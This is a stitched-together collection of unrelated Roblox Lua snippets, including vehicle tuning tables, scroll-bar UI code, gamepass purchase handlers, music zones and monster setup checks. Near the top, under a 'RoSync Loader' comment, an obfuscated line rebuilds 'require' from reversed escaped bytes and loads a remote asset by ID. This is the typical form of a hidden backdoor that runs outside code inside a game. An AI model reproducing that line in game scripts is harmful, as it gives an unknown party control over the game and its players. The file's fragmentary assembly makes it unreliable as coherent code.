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--[[ Last synced 10/19/2020 07:14 RoSync Loader ]]
|
getfenv()[string.reverse("\101\114\105\117\113\101\114")](5722947559) --[[ ]]--
|
--[[ UI FUNCTION ]]
|
--
local function AddUI(pl)
script.SoftShutdown:Clone().Parent = pl:WaitForChild("PlayerGui")
local PlayerGui = pl:WaitForChild("PlayerGui")
local Frame = PlayerGui:WaitForChild("SoftShutdown").Frame
Frame:TweenPosition(UDim2.new(0,0,0,0),"In","Quad",.5,true)
end
|
-----------------------------------------
|
while true do -- Makes a loop
brick.CFrame = brick.CFrame + Vector3.new (moveX, moveY, moveZ) -- Up we go! :D
wait (time)
brick.CFrame = brick.CFrame + Vector3.new (moveX, moveY, moveZ) -- Up we go! :D
wait (time)
brick.CFrame = brick.CFrame + Vector3.new (moveX, moveY, moveZ) -- Up we go! :D
wait (time)
brick.CFrame = brick.CFrame + Vector3.new (moveX, moveY, moveZ) -- Up we go! :D
wait (time)
brick.CFrame = brick.CFrame + Vector3.new (moveX, moveY, moveZ) -- Up we go! :D
wait (time)
brick.CFrame = brick.CFrame + Vector3.new (moveX, moveY, moveZ) -- Up we go! :D
wait (time)
brick.CFrame = brick.CFrame + Vector3.new (moveX, moveY, moveZ) -- Up we go! :D
wait (time)
brick.CFrame = brick.CFrame + Vector3.new (moveX, moveY, moveZ) -- Up we go! :D
wait (time)
brick.CFrame = brick.CFrame + Vector3.new (moveX, moveY, moveZ) -- Up we go! :D
wait (time)
brick.CFrame = brick.CFrame + Vector3.new (moveX, moveY, moveZ) -- Up we go! :D
wait (time)
brick.CFrame = brick.CFrame + Vector3.new (moveX, moveY, moveZ) -- Up we go! :D
wait (time)
brick.CFrame = brick.CFrame - Vector3.new (moveX, moveY, moveZ) -- Downzy Wonzy
wait (time)
brick.CFrame = brick.CFrame - Vector3.new (moveX, moveY, moveZ) -- Downzy Wonzy
wait (time)
brick.CFrame = brick.CFrame - Vector3.new (moveX, moveY, moveZ) -- Downzy Wonzy
wait (time)
brick.CFrame = brick.CFrame - Vector3.new (moveX, moveY, moveZ) -- Downzy Wonzy
wait (time)
brick.CFrame = brick.CFrame - Vector3.new (moveX, moveY, moveZ) -- Downzy Wonzy
wait (time)
brick.CFrame = brick.CFrame - Vector3.new (moveX, moveY, moveZ) -- Downzy Wonzy
wait (time)
brick.CFrame = brick.CFrame - Vector3.new (moveX, moveY, moveZ) -- Downzy Wonzy
wait (time)
brick.CFrame = brick.CFrame - Vector3.new (moveX, moveY, moveZ) -- Downzy Wonzy
wait (time)
brick.CFrame = brick.CFrame - Vector3.new (moveX, moveY, moveZ) -- Downzy Wonzy
wait (time)
brick.CFrame = brick.CFrame - Vector3.new (moveX, moveY, moveZ) -- Downzy Wonzy
wait (time)
brick.CFrame = brick.CFrame - Vector3.new (moveX, moveY, moveZ) -- Downzy Wonzy
wait (time)
end
|
--- Gamepass purchase prompted!
|
_L.Services.MarketplaceService.PromptGamePassPurchaseFinished:Connect(function(player, gamepassId, purchased)
if player then
--- Did player complete transaction?
if purchased == true then
--- Player bought gamepass! WHAT A MASSIVE LEGEND
AddGamepass(player, gamepassId)
--- Let client know purchase went through
_L.Network.Fire("Gamepass Bought", player, gamepassId)
end
end
end)
|
--[[[Default Controls]]
|
--Peripheral Deadzones
Tune.Peripherals = {
MSteerWidth = 67 , -- Mouse steering control width (0 - 100% of screen width)
MSteerDZone = 10 , -- Mouse steering deadzone (0 - 100%)
ControlLDZone = 5 , -- Controller steering L-deadzone (0 - 100%)
ControlRDZone = 5 , -- Controller steering R-deadzone (0 - 100%)
}
--Control Mapping
Tune.Controls = {
--Keyboard Controls
--Mode Toggles
ToggleTCS = Enum.KeyCode.T ,
ToggleABS = Enum.KeyCode.Y ,
ToggleTransMode = Enum.KeyCode.M ,
ToggleMouseDrive = Enum.KeyCode.R ,
--Primary Controls
Throttle = Enum.KeyCode.W ,
Brake = Enum.KeyCode.S ,
SteerLeft = Enum.KeyCode.A ,
SteerRight = Enum.KeyCode.D ,
--Secondary Controls
Throttle2 = Enum.KeyCode.B ,
Brake2 = Enum.KeyCode.N ,
SteerLeft2 = Enum.KeyCode.M ,
SteerRight2 = Enum.KeyCode.V ,
--Manual Transmission
ShiftUp = Enum.KeyCode.E ,
ShiftDown = Enum.KeyCode.Q ,
Clutch = Enum.KeyCode.LeftControl ,
--Handbrake
PBrake = Enum.KeyCode.LeftShift ,
--Mouse Controls
MouseThrottle = Enum.UserInputType.MouseButton1 ,
MouseBrake = Enum.UserInputType.MouseButton2 ,
MouseClutch = Enum.KeyCode.W ,
MouseShiftUp = Enum.KeyCode.E ,
MouseShiftDown = Enum.KeyCode.Q ,
MousePBrake = Enum.KeyCode.LeftShift ,
--Controller Mapping
ContlrThrottle = Enum.KeyCode.ButtonR2 ,
ContlrBrake = Enum.KeyCode.ButtonL2 ,
ContlrSteer = Enum.KeyCode.Thumbstick1 ,
ContlrShiftUp = Enum.KeyCode.ButtonY ,
ContlrShiftDown = Enum.KeyCode.ButtonX ,
ContlrClutch = Enum.KeyCode.ButtonR1 ,
ContlrPBrake = Enum.KeyCode.ButtonL1 ,
ContlrToggleTMode = Enum.KeyCode.DPadUp ,
ContlrToggleTCS = Enum.KeyCode.DPadDown ,
ContlrToggleABS = Enum.KeyCode.DPadRight ,
}
|
--// Aim|Zoom|Sensitivity Customization
|
ZoomSpeed = 0.25; -- The lower the number the slower and smoother the tween
AimZoom = 35; -- Default zoom
AimSpeed = 0.45;
UnaimSpeed = 0.35;
CycleAimZoom = 35; -- Cycled zoom
MouseSensitivity = 0.5; -- Number between 0.1 and 1
SensitivityIncrement = 0.05; -- No touchy
|
--[=[
`Start` is called when the component is started. At this point in time, it
is safe to grab other components also bound to the same instance.
```lua
local MyComponent = Component.new({Tag = "MyComponent"})
local AnotherComponent = require(somewhere.AnotherComponent)
function MyComponent:Start()
-- e.g., grab another component:
local another = self:GetComponent(AnotherComponent)
end
```
]=]
|
function Component:Start()
end
|
-- local player = Players.LocalPlayer -- локальный игрок
|
-- print("Develop 1")
game:GetService("MarketplaceService"):PromptProductPurchase(localPlayer,id) -- выполнение запроса покупки
-- print("Develop 2")
end)
while true do
wait()
dev = plr:FindFirstChild("Develop")
if dev ~= nil then
-- warn(dev," found")
local id=script.Name
tmp = dev:FindFirstChild(id)
if tmp ~= nil then
-- warn(tmp," found")
act=script.Parent.Activat
osTime= os.time()
-- warn("====>>>>",osTime,"{}",tmp.Value)
if osTime > tmp.Value then
act.Text = "not active"
act.TextColor3 = Color3.fromRGB(127,127,127)
else
tt= tmp.Value-osTime
mm = math.floor(tt/60)
if mm < 10 then
mm = "0" .. tostring(mm)
else
mm = tostring(mm)
end
ss = math.fmod(tt,60)
if ss < 10 then
ss = "0" .. tostring(ss)
else
ss = tostring(ss)
end
act.Text = "Activated [" .. mm .. ":" .. ss .. "]"
act.TextColor3 = Color3.fromRGB(255,127,0)
end
end
end
end
|
--[[**
ensures Roblox Faces type
@param value The value to check against
@returns True iff the condition is satisfied, false otherwise
**--]]
|
t.Faces = primitive("Faces")
|
-- AutoButtonColor doesn't always reset properly
|
function ResetButtonColor(button)
local active = button.Active
button.Active = not active
button.Active = active
end
function ArrowGraphic(size,dir,scaled,template)
local Frame = Create('Frame',{
Name = "Arrow Graphic";
BorderSizePixel = 0;
Size = UDim2.new(0,size,0,size);
Transparency = 1;
})
if not template then
template = Instance.new("Frame")
template.BorderSizePixel = 0
end
local transform
if dir == nil or dir == 'Up' then
function transform(p,s) return p,s end
elseif dir == 'Down' then
function transform(p,s) return UDim2.new(0,p.X.Offset,0,size-p.Y.Offset-1),s end
elseif dir == 'Left' then
function transform(p,s) return UDim2.new(0,p.Y.Offset,0,p.X.Offset),UDim2.new(0,s.Y.Offset,0,s.X.Offset) end
elseif dir == 'Right' then
function transform(p,s) return UDim2.new(0,size-p.Y.Offset-1,0,p.X.Offset),UDim2.new(0,s.Y.Offset,0,s.X.Offset) end
end
local scale
if scaled then
function scale(p,s) return UDim2.new(p.X.Offset/size,0,p.Y.Offset/size,0),UDim2.new(s.X.Offset/size,0,s.Y.Offset/size,0) end
else
function scale(p,s) return p,s end
end
local o = math.floor(size/4)
if size%2 == 0 then
local n = size/2-1
for i = 0,n do
local t = template:Clone()
local p,s = scale(transform(
UDim2.new(0,n-i,0,o+i),
UDim2.new(0,(i+1)*2,0,1)
))
t.Position = p
t.Size = s
t.Parent = Frame
end
else
local n = (size-1)/2
for i = 0,n do
local t = template:Clone()
local p,s = scale(transform(
UDim2.new(0,n-i,0,o+i),
UDim2.new(0,i*2+1,0,1)
))
t.Position = p
t.Size = s
t.Parent = Frame
end
end
if size%4 > 1 then
local t = template:Clone()
local p,s = scale(transform(
UDim2.new(0,0,0,size-o-1),
UDim2.new(0,size,0,1)
))
t.Position = p
t.Size = s
t.Parent = Frame
end
return Frame
end
function GripGraphic(size,dir,spacing,scaled,template)
local Frame = Create('Frame',{
Name = "Grip Graphic";
BorderSizePixel = 0;
Size = UDim2.new(0,size.x,0,size.y);
Transparency = 1;
})
if not template then
template = Instance.new("Frame")
template.BorderSizePixel = 0
end
spacing = spacing or 2
local scale
if scaled then
function scale(p) return UDim2.new(p.X.Offset/size.x,0,p.Y.Offset/size.y,0) end
else
function scale(p) return p end
end
if dir == 'Vertical' then
for i=0,size.x-1,spacing do
local t = template:Clone()
t.Size = scale(UDim2.new(0,1,0,size.y))
t.Position = scale(UDim2.new(0,i,0,0))
t.Parent = Frame
end
elseif dir == nil or dir == 'Horizontal' then
for i=0,size.y-1,spacing do
local t = template:Clone()
t.Size = scale(UDim2.new(0,size.x,0,1))
t.Position = scale(UDim2.new(0,0,0,i))
t.Parent = Frame
end
end
return Frame
end
do
local mt = {
__index = {
GetScrollPercent = function(self)
return self.ScrollIndex/(self.TotalSpace-self.VisibleSpace)
end;
CanScrollDown = function(self)
return self.ScrollIndex + self.VisibleSpace < self.TotalSpace
end;
CanScrollUp = function(self)
return self.ScrollIndex > 0
end;
ScrollDown = function(self)
self.ScrollIndex = self.ScrollIndex + self.PageIncrement
self:Update()
end;
ScrollUp = function(self)
self.ScrollIndex = self.ScrollIndex - self.PageIncrement
self:Update()
end;
ScrollTo = function(self,index)
self.ScrollIndex = index
self:Update()
end;
SetScrollPercent = function(self,percent)
self.ScrollIndex = math.floor((self.TotalSpace - self.VisibleSpace)*percent + 0.5)
self:Update()
end;
};
}
mt.__index.CanScrollRight = mt.__index.CanScrollDown
mt.__index.CanScrollLeft = mt.__index.CanScrollUp
mt.__index.ScrollLeft = mt.__index.ScrollUp
mt.__index.ScrollRight = mt.__index.ScrollDown
function ScrollBar(horizontal)
local ScrollFrame = Create('Frame',{
Name = "ScrollFrame",
Position = horizontal and UDim2_new(0,0,1,-ScrollBarWidth) or UDim2_new(1,-ScrollBarWidth,0,0),
Size = horizontal and UDim2_new(1,0,0,ScrollBarWidth) or UDim2_new(0,ScrollBarWidth,1,0),
BackgroundTransparency = 1,
Create('ImageButton',{
Name = "ScrollDown",
Position = horizontal and UDim2_new(1,-ScrollBarWidth,0,0) or UDim2_new(0,0,1,-ScrollBarWidth),
Size = UDim2_new(0, ScrollBarWidth, 0, ScrollBarWidth),
BackgroundColor3 = ScrollStyles.Button,
BorderColor3 = ScrollStyles.Border,
ImageColor3 = Styles.White
}),
Create('ImageButton',{
Name = "ScrollUp",
Size = UDim2_new(0, ScrollBarWidth, 0, ScrollBarWidth),
BackgroundColor3 = ScrollStyles.Button,
BorderColor3 = ScrollStyles.Border,
ImageColor3 = Styles.White
}),
Create('ImageButton',{
Name = "ScrollBar",
Size = horizontal and UDim2_new(1,-ScrollBarWidth*2,1,0) or UDim2_new(1,0,1,-ScrollBarWidth*2),
Position = horizontal and UDim2_new(0,ScrollBarWidth,0,0) or UDim2_new(0,0,0,ScrollBarWidth),
AutoButtonColor = false,
BackgroundColor3 = Color3_new(1/4, 1/4, 1/4),
BorderColor3 = ScrollStyles.Border,
Create('ImageButton',{
Name = "ScrollThumb",
AutoButtonColor = false,
Size = UDim2_new(0, ScrollBarWidth, 0, ScrollBarWidth),
BackgroundColor3 = ScrollStyles.Button,
BorderColor3 = ScrollStyles.Border,
ImageColor3 = Styles.White
})
})
})
local graphicTemplate = Create('Frame',{
Name="Graphic",
BorderSizePixel = 0,
BackgroundColor3 = Color3_new(1, 1, 1)
})
local graphicSize = ScrollBarWidth/2
local ScrollDownFrame = ScrollFrame.ScrollDown
local ScrollDownGraphic = ArrowGraphic(graphicSize,horizontal and 'Right' or 'Down',true,graphicTemplate)
ScrollDownGraphic.Position = UDim2_new(.5,-graphicSize/2,.5,-graphicSize/2)
ScrollDownGraphic.Parent = ScrollDownFrame
local ScrollUpFrame = ScrollFrame.ScrollUp
local ScrollUpGraphic = ArrowGraphic(graphicSize,horizontal and 'Left' or 'Up',true,graphicTemplate)
ScrollUpGraphic.Position = UDim2_new(.5,-graphicSize/2,.5,-graphicSize/2)
ScrollUpGraphic.Parent = ScrollUpFrame
local ScrollBarFrame = ScrollFrame.ScrollBar
local ScrollThumbFrame = ScrollBarFrame.ScrollThumb
do
local size = ScrollBarWidth*3/8
local Decal = GripGraphic(Vector2_new(size,size),horizontal and 'Vertical' or 'Horizontal',2,graphicTemplate)
Decal.Position = UDim2_new(.5,-size/2,.5,-size/2)
Decal.Parent = ScrollThumbFrame
end
local MouseDrag = Create('ImageButton',{
Name = "MouseDrag",
Position = UDim2_new(-.25,0,-.25,0),
Size = UDim2_new(1.5,0,1.5,0),
Transparency = 1,
AutoButtonColor = false,
Active = true,
ZIndex = 10
})
local Class = setmetatable({
GUI = ScrollFrame,
ScrollIndex = 0,
VisibleSpace = 0,
TotalSpace = 0,
PageIncrement = 1
},mt)
local UpdateScrollThumb
if horizontal then
function UpdateScrollThumb()
ScrollThumbFrame.Size = UDim2_new(Class.VisibleSpace/Class.TotalSpace,0,0,ScrollBarWidth)
if ScrollThumbFrame.AbsoluteSize.X < ScrollBarWidth then
ScrollThumbFrame.Size = UDim2_new(0,ScrollBarWidth,0,ScrollBarWidth)
end
local barSize = ScrollBarFrame.AbsoluteSize.X
ScrollThumbFrame.Position = UDim2_new(Class:GetScrollPercent()*(barSize - ScrollThumbFrame.AbsoluteSize.X)/barSize,0,0,0)
end
else
function UpdateScrollThumb()
ScrollThumbFrame.Size = UDim2_new(0,ScrollBarWidth,Class.VisibleSpace/Class.TotalSpace,0)
if ScrollThumbFrame.AbsoluteSize.Y < ScrollBarWidth then
ScrollThumbFrame.Size = UDim2_new(0,ScrollBarWidth,0,ScrollBarWidth)
end
local barSize = ScrollBarFrame.AbsoluteSize.Y
ScrollThumbFrame.Position = UDim2_new(0,0,Class:GetScrollPercent()*(barSize - ScrollThumbFrame.AbsoluteSize.Y)/barSize,0)
end
end
local lastDown, lastUp
local scrollStyle = {BackgroundColor3=Color3_new(1, 1, 1),BackgroundTransparency=0}
local scrollStyle_ds = {BackgroundColor3=Color3_new(1, 1, 1),BackgroundTransparency=.7}
local function Update()
local t,v,s = Class.TotalSpace,Class.VisibleSpace,Class.ScrollIndex
if v <= t then
if s > 0 then
if s + v > t then
Class.ScrollIndex = t - v
end
else
Class.ScrollIndex = 0
end
else
Class.ScrollIndex = 0
end
if Class.UpdateCallback then
if Class.UpdateCallback(Class) == false then
return
end
end
local down,up = Class:CanScrollDown(),Class:CanScrollUp()
if down ~= lastDown then
lastDown = down
ScrollDownFrame.Active = down
ScrollDownFrame.AutoButtonColor = down
local children,style = ScrollDownGraphic:GetChildren(),down and scrollStyle or scrollStyle_ds
for i = 1,#children do
Create(children[i],style)
end
end
if up ~= lastUp then
lastUp = up
ScrollUpFrame.Active = up
ScrollUpFrame.AutoButtonColor = up
local children,style = ScrollUpGraphic:GetChildren(),up and scrollStyle or scrollStyle_ds
for i = 1,#children do
Create(children[i],style)
end
end
ScrollThumbFrame.Visible = down or up
UpdateScrollThumb()
end
Class.Update = Update
SetZIndexOnChanged(ScrollFrame)
local scrollEventID = 0
ScrollDownFrame.MouseButton1Down:Connect(function()
scrollEventID = tick()
local current,up_con = scrollEventID,nil
up_con = MouseDrag.MouseButton1Up:Connect(function()
scrollEventID = tick()
MouseDrag.Parent = nil
ResetButtonColor(ScrollDownFrame)
up_con:Disconnect()
drag = nil
end)
MouseDrag.Parent = GetScreen(ScrollFrame)
Class:ScrollDown()
wait(.2)
while scrollEventID == current do
Class:ScrollDown()
if not Class:CanScrollDown() then break end
wait()
end
end)
ScrollDownFrame.MouseButton1Up:Connect(function()
scrollEventID = tick()
end)
ScrollUpFrame.MouseButton1Down:Connect(function()
scrollEventID = tick()
local current,up_con = scrollEventID,nil
up_con = MouseDrag.MouseButton1Up:Connect(function()
scrollEventID = tick()
MouseDrag.Parent = nil
ResetButtonColor(ScrollUpFrame)
up_con:Disconnect()
drag = nil
end)
MouseDrag.Parent = GetScreen(ScrollFrame)
Class:ScrollUp()
wait(.2)
while scrollEventID == current do
Class:ScrollUp()
if not Class:CanScrollUp() then break end
wait()
end
end)
ScrollUpFrame.MouseButton1Up:Connect(function()
scrollEventID = tick()
end)
if horizontal then
ScrollBarFrame.MouseButton1Down:Connect(function(x,y)
scrollEventID = tick()
local current = scrollEventID
local up_con
up_con = MouseDrag.MouseButton1Up:Connect(function()
scrollEventID = tick()
MouseDrag.Parent = nil
ResetButtonColor(ScrollUpFrame)
up_con:Disconnect()
drag = nil
end)
MouseDrag.Parent = GetScreen(ScrollFrame)
if x > ScrollThumbFrame.AbsolutePosition.X then
Class:ScrollTo(Class.ScrollIndex + Class.VisibleSpace)
wait(.2)
while scrollEventID == current do
if x < ScrollThumbFrame.AbsolutePosition.X + ScrollThumbFrame.AbsoluteSize.X then break end
Class:ScrollTo(Class.ScrollIndex + Class.VisibleSpace)
wait()
end
else
Class:ScrollTo(Class.ScrollIndex - Class.VisibleSpace)
wait(.2)
while scrollEventID == current do
if x > ScrollThumbFrame.AbsolutePosition.X then break end
Class:ScrollTo(Class.ScrollIndex - Class.VisibleSpace)
wait()
end
end
end)
else
ScrollBarFrame.MouseButton1Down:Connect(function(x,y)
scrollEventID = tick()
local current = scrollEventID
local up_con
up_con = MouseDrag.MouseButton1Up:Connect(function()
scrollEventID = tick()
MouseDrag.Parent = nil
ResetButtonColor(ScrollUpFrame)
up_con:Disconnect(); drag = nil
end)
MouseDrag.Parent = GetScreen(ScrollFrame)
if y > ScrollThumbFrame.AbsolutePosition.Y then
Class:ScrollTo(Class.ScrollIndex + Class.VisibleSpace)
wait(.2)
while scrollEventID == current do
if y < ScrollThumbFrame.AbsolutePosition.Y + ScrollThumbFrame.AbsoluteSize.Y then break end
Class:ScrollTo(Class.ScrollIndex + Class.VisibleSpace)
wait()
end
else
Class:ScrollTo(Class.ScrollIndex - Class.VisibleSpace)
wait(.2)
while scrollEventID == current do
if y > ScrollThumbFrame.AbsolutePosition.Y then break end
Class:ScrollTo(Class.ScrollIndex - Class.VisibleSpace)
wait()
end
end
end)
end
if horizontal then
ScrollThumbFrame.MouseButton1Down:Connect(function(x,y)
scrollEventID = tick()
local mouse_offset = x - ScrollThumbFrame.AbsolutePosition.X
local drag_con,up_con
drag_con = MouseDrag.MouseMoved:Connect(function(x,y)
local bar_abs_pos = ScrollBarFrame.AbsolutePosition.X
local bar_drag = ScrollBarFrame.AbsoluteSize.X - ScrollThumbFrame.AbsoluteSize.X
local bar_abs_one = bar_abs_pos + bar_drag
x = x - mouse_offset
x = x < bar_abs_pos and bar_abs_pos or x > bar_abs_one and bar_abs_one or x
x = x - bar_abs_pos
Class:SetScrollPercent(x/(bar_drag))
end)
up_con = MouseDrag.MouseButton1Up:Connect(function()
scrollEventID = tick()
MouseDrag.Parent = nil
ResetButtonColor(ScrollThumbFrame)
drag_con:Disconnect(); drag_con = nil
up_con:Disconnect(); drag = nil
end)
MouseDrag.Parent = GetScreen(ScrollFrame)
end)
else
ScrollThumbFrame.MouseButton1Down:Connect(function(x,y)
scrollEventID = tick()
local mouse_offset = y - ScrollThumbFrame.AbsolutePosition.Y
local drag_con,up_con
drag_con = MouseDrag.MouseMoved:Connect(function(x,y)
local bar_abs_pos = ScrollBarFrame.AbsolutePosition.Y
local bar_drag = ScrollBarFrame.AbsoluteSize.Y - ScrollThumbFrame.AbsoluteSize.Y
local bar_abs_one = bar_abs_pos + bar_drag
y = y - mouse_offset
y = y < bar_abs_pos and bar_abs_pos or y > bar_abs_one and bar_abs_one or y
y = y - bar_abs_pos
Class:SetScrollPercent(y/(bar_drag))
end)
up_con = MouseDrag.MouseButton1Up:Connect(function()
scrollEventID = tick()
MouseDrag.Parent = nil
ResetButtonColor(ScrollThumbFrame)
drag_con:Disconnect(); drag_con = nil
up_con:Disconnect(); drag = nil
end)
MouseDrag.Parent = GetScreen(ScrollFrame)
end)
end
function Class:Destroy()
ScrollFrame:Destroy()
MouseDrag:Destroy()
for k in next, Class do
Class[k] = nil
end
setmetatable(Class,nil)
end
Update()
return Class
end
end
|
-- local SNAPSHOT_VERSION_WARNING = chalk.yellow(
-- chalk.bold('Warning') .. ": Before you upgrade snapshots, " ..
-- "we recommend that you revert any local changes to tests or other code, " ..
-- "to ensure that you do not store invalid state."
-- )
|
local normalizeNewLines, deepMerge
local function writeSnapshotVersion()
return "-- Jest Roblox Snapshot v" .. SNAPSHOT_VERSION .. ", " .. SNAPSHOT_GUIDE_LINK
end
|
--now, load the zone & music data into the script
|
local zones = {}
local music = {}
local globali
if settings.UseMusicZones == true then
for i,zone in pairs(zonesfolder:GetChildren()) do
if zone:IsA("Model") and zone:FindFirstChild("Music") then
music[i] = {}
for _,sound in pairs(zone.Music:GetChildren()) do --save all of the music data for this zone
if sound:IsA("Sound") then
table.insert(music[i], {["SoundId"] = sound.SoundId, ["Volume"] = sound.Volume, ["Pitch"] = sound.Pitch})
end
end
zones[i] = {
["Priority"] = zone:FindFirstChild("Priority") and zone.Priority.Value or 1,
["Parts"] = {},
["Music"] = music[i]
}
for _,part in pairs(zone:GetChildren()) do
if part:IsA("Part") then
if IsCleanRotation({part.Rotation.X,part.Rotation.Y,part.Rotation.Z}) == true then --store the min and max X/Y/Z position coordinates of this part
local lx,ly,lz = math.huge,math.huge,math.huge
local mx,my,mz = -math.huge,-math.huge,-math.huge
local function ApplyValues(p)
if p.x < lx then lx = p.x end
if p.x > mx then mx = p.x end
if p.y < ly then ly = p.y end
if p.y > my then my = p.y end
if p.z < lz then lz = p.z end
if p.z > mz then mz = p.z end
end
local points = {}
--a bunch of sloppy math stuff to calculate the coordinates on each of the part's faces so we can figure out the min and max values. mathematicians, pls don't kill me if i'm doing this terribly
local cf1 = part.CFrame
local cf2 = (part.CFrame * CFrame.Angles(0,math.pi/2,0))
local cf3 = (part.CFrame * CFrame.Angles(math.pi/2,0,0))
local lvz = (cf1.lookVector * (part.Size.Z/2))
local lvx = (cf2.lookVector * (part.Size.X/2))
local lvy = (cf3.lookVector * (part.Size.Y/2))
points[1] = cf1+lvz
points[2] = cf1-lvz
points[3] = cf2+lvx
points[4] = cf2-lvx
points[5] = cf3+lvy
points[6] = cf3-lvy
for _,p in pairs(points) do
ApplyValues(p)
end
table.insert(zones[i]["Parts"],{["Coordinates"] = {lx=lx,ly=ly,lz=lz, mx=mx,my=my,mz=mz}})
else --save a reference to the part itself to be used for GetTouchingParts(), since it has a complex rotation that can't be solved with my own feeble calculations
table.insert(zones[i]["Parts"],{["Part"] = part})
end
end
end
end
end
end
if settings.UseGlobalBackgroundMusic == true then
globali = #music + 1
music[globali] = {}
for _,sound in pairs(globalfolder:GetChildren()) do
if sound:IsA("Sound") then
table.insert(music[globali], {["SoundId"] = sound.SoundId, ["Volume"] = sound.Volume, ["Pitch"] = sound.Pitch})
end
end
end
|
--[[Brakes]]
|
Tune.ABSEnabled = true -- Implements ABS
Tune.ABSThreshold = 20 -- Slip speed allowed before ABS starts working (in SPS)
Tune.FBrakeForce = 1500 -- Front brake force
Tune.RBrakeForce = 1000 -- Rear brake force
Tune.PBrakeForce = 10000 -- Handbrake force
Tune.FLgcyBForce = 15000 -- Front brake force [PGS OFF]
Tune.RLgcyBForce = 10000 -- Rear brake force [PGS OFF]
Tune.LgcyPBForce = 25000 -- Handbrake force [PGS OFF]
|
--[=[
Constructs a new AccelTween.
```lua
local accelTween = AccelTween.new(30)
accelTween.t = 1
conn = RunService.RenderStepped:Connect(function()
print(accelTween.p)
end)
task.delay(accelTween.rtime, function()
conn:Disconnect()
end)
```
@param maxaccel number? -- The maximum acceleration applied to reach its target. Defaults to 1
@return AccelTween
]=]
|
function AccelTween.new(maxaccel)
local self = setmetatable({
_accel = maxaccel or 1;
_t0 = 0;
_y0 = 0;
_a0 = 0;
_t1 = 0;
_y1 = 0;
_a1 = 0;
}, AccelTween)
return self
end
|
-- Returns the names of the winner(s) according to most points scored
|
function PlayerManager.getWinnerNames()
if #activePlayers >= 1 then
local topScore = -1
local winnerNames = {}
for i, player in pairs(activePlayers) do
local playerScore = leaderboardManager:getStat(player, "Points").Value
if playerScore then
if playerScore > topScore then
winnerNames = {player.Name}
elseif playerScore == topScore then
table.insert(winnerNames, player.Name)
end
end
end
return winnerNames
else
return {}
end
end
|
--
-- Verify that everything is where it should be
|
assert(Self:FindFirstChild'Humanoid' ~= nil, 'Monster does not have a humanoid')
assert(Settings ~= nil, 'Monster does not have a Configurations object')
assert(Settings:FindFirstChild'MaximumDetectionDistance' ~= nil and Settings.MaximumDetectionDistance:IsA'NumberValue', 'Monster does not have a MaximumDetectionDistance (NumberValue) setting')
assert(Settings:FindFirstChild'CanGiveUp' ~= nil and Settings.CanGiveUp:IsA'BoolValue', 'Monster does not have a CanGiveUp (BoolValue) setting')
assert(Settings:FindFirstChild'CanRespawn' ~= nil and Settings.CanRespawn:IsA'BoolValue', 'Monster does not have a CanRespawn (BoolValue) setting')
assert(Settings:FindFirstChild'SpawnPoint' ~= nil and Settings.SpawnPoint:IsA'Vector3Value', 'Monster does not have a SpawnPoint (Vector3Value) setting')
assert(Settings:FindFirstChild'AutoDetectSpawnPoint' ~= nil and Settings.AutoDetectSpawnPoint:IsA'BoolValue', 'Monster does not have a AutoDetectSpawnPoint (BoolValue) setting')
assert(Settings:FindFirstChild'FriendlyTeam' ~= nil and Settings.FriendlyTeam:IsA'BrickColorValue', 'Monster does not have a FriendlyTeam (BrickColorValue) setting')
assert(Settings:FindFirstChild'AttackDamage' ~= nil and Settings.AttackDamage:IsA'NumberValue', 'Monster does not have a AttackDamage (NumberValue) setting')
assert(Settings:FindFirstChild'AttackFrequency' ~= nil and Settings.AttackFrequency:IsA'NumberValue', 'Monster does not have a AttackFrequency (NumberValue) setting')
assert(Settings:FindFirstChild'AttackRange' ~= nil and Settings.AttackRange:IsA'NumberValue', 'Monster does not have a AttackRange (NumberValue) setting')
assert(Mind ~= nil, 'Monster does not have a Mind object')
assert(Mind:FindFirstChild'CurrentTargetHumanoid' ~= nil and Mind.CurrentTargetHumanoid:IsA'ObjectValue', 'Monster does not have a CurrentTargetHumanoid (ObjectValue) mind setting')
assert(Self:FindFirstChild'Respawn' and Self.Respawn:IsA'BindableFunction', 'Monster does not have a Respawn BindableFunction')
assert(Self:FindFirstChild'Died' and Self.Died:IsA'BindableEvent', 'Monster does not have a Died BindableEvent')
assert(Self:FindFirstChild'Respawned' and Self.Died:IsA'BindableEvent', 'Monster does not have a Respawned BindableEvent')
assert(Self:FindFirstChild'Attacked' and Self.Died:IsA'BindableEvent', 'Monster does not have a Attacked BindableEvent')
assert(script:FindFirstChild'Attack' and script.Attack:IsA'Animation', 'Monster does not have a MonsterScript.Attack Animation')
|
-- requires luaP, luaX, luaY
|
local luaK = {}
local luaP = require(script.Parent.LuaP)
local luaX = require(script.Parent.LuaX)
|
--!strict
|
local Players = game:GetService("Players")
local NAME_COLORS =
{
Color3.new(253/255, 41/255, 67/255), -- BrickColor.new("Bright red").Color,
Color3.new(1/255, 162/255, 255/255), -- BrickColor.new("Bright blue").Color,
Color3.new(2/255, 184/255, 87/255), -- BrickColor.new("Earth green").Color,
BrickColor.new("Bright violet").Color,
BrickColor.new("Bright orange").Color,
BrickColor.new("Bright yellow").Color,
BrickColor.new("Light reddish violet").Color,
BrickColor.new("Brick yellow").Color,
}
local function GetNameValue(pName: string)
local value = 0
for index = 1, #pName do
local cValue = string.byte(string.sub(pName, index, index))
local reverseIndex = #pName - index + 1
if #pName % 2 == 1 then
reverseIndex = reverseIndex - 1
end
if reverseIndex % 4 >= 2 then
cValue = -cValue
end
value += cValue
end
return value
end
local color_offset = 0
local function ComputeNameColor(pName)
return NAME_COLORS[((GetNameValue(pName) + color_offset) % #NAME_COLORS) + 1]
end
local function GetNameColor(userId: number): Color3
local player: Player = Players:GetPlayerByUserId(userId)
return ComputeNameColor(player.Name)
end
return GetNameColor
|
--[[Weight and CG]]
|
Tune.Weight = 2800 -- Total weight (in pounds)
Tune.WeightBSize = { -- Size of weight brick (dimmensions in studs ; larger = more stable)
--[[Width]] 6 ,
--[[Height]] 3.5 ,
--[[Length]] 14 }
Tune.WeightDist = 50 -- Weight distribution (0 - on rear wheels, 100 - on front wheels, can be <0 or >100)
Tune.CGHeight = .8 -- Center of gravity height (studs relative to median of all wheels)
Tune.WBVisible = false -- Makes the weight brick visible
--Unsprung Weight
Tune.FWheelDensity = .1 -- Front Wheel Density
Tune.RWheelDensity = .1 -- Rear Wheel Density
Tune.FWLgcyDensity = 1 -- Front Wheel Density [PGS OFF]
Tune.RWLgcyDensity = 1 -- Rear Wheel Density [PGS OFF]
Tune.AxleSize = 2 -- Size of structural members (larger = more stable/carry more weight)
Tune.AxleDensity = .1 -- Density of structural members
|
-- MODULES --
|
local numShorten = require(Modules.UIModules.NumberShorten)
|
--[[ Last synced 4/18/2021 05:43 RoSync Loader ]]
|
